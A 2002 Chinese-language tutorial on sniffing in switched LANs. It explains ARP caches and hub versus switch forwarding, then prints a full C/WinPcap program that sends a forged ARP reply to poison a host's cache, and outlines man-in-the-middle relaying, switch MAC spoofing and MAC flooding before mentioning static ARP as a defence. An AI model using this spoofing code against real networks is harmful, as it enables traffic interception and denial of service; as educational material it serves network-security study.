交换网络中的嗅探和ARP欺骗

创建时间：2002-04-11
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2002-4-6


   以太网内的嗅探（sniff）对于网络安全来说并不是什么好事，虽然对于网络管理员能够跟踪数据包并且发现
网络问题，但是如果被破坏者利用的话，就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。


ARP缓存表
   假设这样一个网络：

             ——————————
             |       HUB        |
             ——————————
                |      |      |
                |      |      |
                |      |      |
             HostA   HostB   HostC

其中
A的地址为：IP：192.168.10.1     MAC: AA-AA-AA-AA-AA-AA
B的地址为：IP：192.168.10.2     MAC: BB-BB-BB-BB-BB-BB
C的地址为：IP：192.168.10.3     MAC: CC-CC-CC-CC-CC-CC

假设B是属于一个嗅探爱好者的，比如A机器的ARP缓存：

C:/>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
  Internet Address      Physical Address      Type
  192.168.10.3          CC-CC-CC-CC-CC-CC     dynamic

    这是192.168.10.1机器上的ARP缓存表，假设，A进行一次ping 192.168.10.3操作，PING主机C，会查询本地的
ARP缓存表，找到C的IP地址的MAC地址，那么就会进行数据传输，目的地就是C 的MAC地址。如果A中没有C的ARP记
录，那么A首先要广播一次ARP请求，当C接收到A 的请求后就发送一个应答，应答中包含有C的MAC地址，然后A接
收到C的应答，就会更新本地的ARP缓存。接着使用这个MAC地址发送数据（由网卡附加MAC地址）。
    因此，本地高速缓存的这个ARP表是本地网络流通的基础，而且这个缓存是动态的。


集线器网络(Hub-Based)

    很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候，Hub只是简单地把这个数据包广播
到Hub的所有端口上。
    这就是上面举例中的一种网络结构。

    现在A需要发送TCP数据包给C。首先，A需要检查本地的ARP 缓存表，查看是否有IP为192.168.10.3即C的ARP记
录，如果没有那么A将要广播一个ARP请求，当C接收到这个请求后，就作出应答，然后A更新自己的ARP缓存表。并
且获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包，Ethernet帧中就包含了C的MAC地址。当数据包传输
到HUB的时候，HUB直接把整个数据包广播到所有的端口，然后C就能够接收到A发送的数据包。

    正因为HUB把数据广播到所有的端口，所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。

    因此，Hub-Based的网络基本没有安全可言，嗅探在这样的网络中非常容易。


交换网络（Switched Lan）

    交换机用来代替HUB，正是为了能够解决HUB的几个安全问题，其中就是能够来解决嗅探问题。Switch不是把数
据包进行端口广播，它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此，在交换网络上，如果把上面
例子中的HUB换为Switch，B就不会接收到A发送给C的数据包，即便设置网卡为混杂模式，也不能进行嗅探。


ARP欺骗（ ARP spoofing）

    ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候，就会对本地的ARP缓存
进行更新，将应答中的IP和MAC地址存储在ARP缓存中。因此，在上面的假设网络中，B向A发送一个自己伪造的ARP应
答，而这个应答中的数据为发送方IP地址是192.168.10.3（C的IP地址），MAC地址是DD-DD-DD-DD-DD-DD（C的MAC地
址本来应该是CC-CC-CC-CC-CC-CC，这里被伪造了）。当A接收到B伪造的ARP应答，就会更新本地的ARP缓存（A可不
知道被伪造了）。

现在A机器的ARP缓存更新了：

C:/>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
  Internet Address      Physical Address      Type
  192.168.10.3          DD-DD-DD-DD-DD-DD     dynamic

    这可不是小事。局域网的网络流通可不是根据IP地址进行，而是按照MAC地址进行传输。现在192.168.10.3的
MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3，网卡递交的MAC地址是
DD-DD-DD-DD-DD-DD，结果是什么呢？网络不通，A根本不能Ping通C！！

    这就是一个简单的ARP欺骗。

    我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。（ http://winpcap.polito.it/）
winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。

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//                ARP Sender
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//           2002/4/7
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#include "stdafx.h"
#include "Mac.h"    //GetMacAddr()，我写的把字符串转换为MAC地址的函数，就不列在这里了
#include
#include

#define EPT_IP        0x0800            /* type: IP    */
#define EPT_ARP        0x0806            /* type: ARP */
#define EPT_RARP    0x8035            /* type: RARP */
#define ARP_HARDWARE 0x0001            /* Dummy type for 802.3 frames  */
#define    ARP_REQUEST    0x0001            /* ARP request */
#define    ARP_REPLY    0x0002            /* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr
{
    unsigned char    eh_dst[6];        /* destination ethernet addrress */
    unsigned char    eh_src[6];        /* source ethernet addresss */
    unsigned short    eh_type;        /* ethernet pachet type    */
}EHHDR, *PEHHDR;


typedef struct arphdr
{
    unsigned short    arp_hrd;            /* format of hardware address */
    unsigned short    arp_pro;            /* format of protocol address */
    unsigned char    arp_hln;            /* length of hardware address */
    unsigned char    arp_pln;            /* length of protocol address */
    unsigned short    arp_op;                /* ARP/RARP operation */

    unsigned char    arp_sha[6];            /* sender hardware address */
    unsigned long    arp_spa;            /* sender protocol address */
    unsigned char    arp_tha[6];            /* target hardware address */
    unsigned long    arp_tpa;            /* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct arpPacket
{
    EHHDR    ehhdr;
    ARPHDR    arphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])
{
    static char AdapterList[Max_Num_Adapter][1024];    
    char szPacketBuf[600];
    char MacAddr[6];

    LPADAPTER    lpAdapter;
    LPPACKET    lpPacket;
    WCHAR        AdapterName[2048];
    WCHAR        *temp,*temp1;
    ARPPACKET ARPPacket;

    ULONG AdapterLength = 1024;
    
    int AdapterNum = 0;
    int nRetCode, i;

    //Get The list of Adapter
    if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
    {
        printf("Unable to retrieve the list of the adapters!/n");
        return 0;
    }

    temp = AdapterName;
    temp1=AdapterName;
    i = 0;
    while ((*temp != '/0')||(*(temp-1) != '/0'))
    {
        if (*temp == '/0')
        {
            memcpy(AdapterList[i],temp1,(temp-temp1)*2);
            temp1=temp+1;
            i++;
        }
        
        temp++;
    }
    
    AdapterNum = i;
    for (i = 0; i < AdapterNum; i++)
        wprintf(L"/n%d- %s/n", i+1, AdapterList[i]);
    printf("/n");
    
    //Default open the 0
    lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
        //取第一个网卡（假设啦）

    if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
    {
        nRetCode = GetLastError();
        printf("Unable to open the driver, Error Code : %lx/n", nRetCode);
        return 0;
    }

    lpPacket = PacketAllocatePacket();
    if(lpPacket == NULL)
    {
        printf("/nError:failed to allocate the LPPACKET structure.");
        return 0;
    }

    ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

    if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
    {
        printf ("Get Mac address error!/n");
    }
    memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);    //源MAC地址

    if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
    {
        printf ("Get Mac address error!/n");
        return 0;
    }
    memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);    //目的MAC地址。（A的地址）

    ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

    ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
    ARPPacket.arphdr.arp_pro = htons(EPT_IP);
    ARPPacket.arphdr.arp_hln = 6;
    ARPPacket.arphdr.arp_pln = 4;
    ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

    if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
    {
        printf ("Get Mac address error!/n");
        return 0;
    }
    memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);    //伪造的C的MAC地址
    ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3");   //C的IP地址

    if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
    {
        printf ("Get Mac address error!/n");
        return 0;
    }
    memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);  //目标A的MAC地址
    ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1");   //目标A的IP地址

    memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
    PacketInitPacket(lpPacket, szPacketBuf, 60);

    if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
    {
        printf("warning: Unable to send more than one packet in a single write!/n");
    }
    
    if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
    {
        printf("Error sending the packets!/n");
        return 0;
    }

    printf ("Send ok!/n");

    // close the adapter and exit
    PacketFreePacket(lpPacket);
    PacketCloseAdapter(lpAdapter);
    return 0;
}

    于是A接收到一个被伪造的ARP应答。A被欺骗了！！倘若在局域网中看某某机器不顺眼，……


    以太网中的嗅探太有作用了，但是交换网络对嗅探进行了限制，让嗅探深入程度大打折扣。不过，很容易就能
够发现，主机、Switch（动态更新地址表类型，下同）中的缓存表依然是（主要是）动态的。要在一个交换网络中
进行有效的嗅探工作（地下党？），需要采用对付各种缓存表的办法，连骗带哄，甚至乱踹，在上面的ARP欺骗基础
中我们就能够做到。


对目标进行ARP欺骗

     就象上面程序中实现的一样，对目标A进行欺骗，A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如
果进行欺骗的时候，把C的MAC地址骗为BB-BB-BB-BB-BB-BB，于是A发送到C上的数据包都变成发送给B的了。这不正
好是B能够接收到A发送的数据包了么，嗅探成功。
    A对这个变化一点都没有意识到，但是接下来的事情就让A产生了怀疑。因为A和C连接不上了！！B对接收到A发送
给C的数据包可没有转交给C。
    做“man in the middle”,进行ARP重定向。打开B的IP转发功能，A发送过来的数据包，转发给C，好比一个路由
器一样。不过，假如B发送ICMP重定向的话就中断了整个计划。
   直接进行整个包的修改转发，捕获到A发送给的数据包，全部进行修改后再转发给C，而C接收到的数据包完全认为
是从A发送来的。不过，C发送的数据包又直接传递给A，倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥
梁了。


对Switch的MAC欺骗

   Switch上同样维护着一个动态的MAC缓存，它一般是这样，首先，交换机内部有一个对应的列表，交换机的端口对
应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址，这个表开始是空的，交换机从来往数据帧中学
习。举例来说，当Port 1口所接的计算机发出了一个数据帧，这帧数据从Port 1进入交换机，交换机就取这个数据帧
的原MAC地址AAAA，然后在地址表中记录：Port 1 <-> AAAA, 以后，所有发向MAC地址为AAAA的数据帧，就全从Port 1
口输出，而不会从其它的口输出。

   跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了，那么对应的MAC和PORT就一样跟着改变，本来
不应该发送到嗅探器的数据结果发送过来了，这样也达到了嗅探的目的。修改本地（B）发送的数据包MAC地址为原来A的
MAC地址，当经过交换机的时候，交换机发现端口B对应的地址是机器A的MAC地址，于是就将会把A的MAC地址同端口B相对
应，从而把发送给A的数据从端口B传输了，本来这些应该是传送到端口A的。因此，从机器B就能够获得发送给A的数据。

   但是，这里有一个问题，A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时，从刚才的欺骗中，
让交换机中一个MAC地址对应了多个端口，这种对于交换机处理还不清楚。还请多指教。


对Switch进行Flood

    就象上面介绍Switch的MAC和Port对应关系形成的原理，因为MAC-PORT缓存表是动态更新的，那么让整个Switch的端
口表都改变，对Switch进行MAC地址欺骗的Flood，不断发送大量假MAC地址的数据包，Switch就更新MAC-PORT缓存，如果
能通过这样的办法把以前正常的MAC和Port对应的关系破坏了，那么Switch就会进行泛洪发送给每一个端口，让Switch基
本变成一个HUB，向所有的端口发送数据包，要嗅探的目的一样能够达到。

    存在的问题，Switch对这种极限情况的处理，因为属于不正常情况，可能会引起包丢失情况。而且现在对这种极限情
况的Switch状态还很不了解。如果对网络通讯造成了大的破坏，这不属于正常的嗅探（嗅探也会引起一些丢失）。


    对Switch进行各种手段的操作，需要小心，如果打开了端口保护，那么可能会让交换机关闭所有用户。因此，对交换
机这样的设备进行欺骗或者其他操作，还不如对一些上级设备进行欺骗，比如目标主机或者路由器。

    至于上面关于嗅探的手段都是基于这个动态表进行的。因此，使用静态的ARP就能够进行防范了。对于WIN，使用
arp -s 来进行静态ARP的设置。

   感谢winpcap这个开放项目，也感谢Dancefire提供的大量帮助和指正。我在网络设备上的了解还很不够，还请多指正。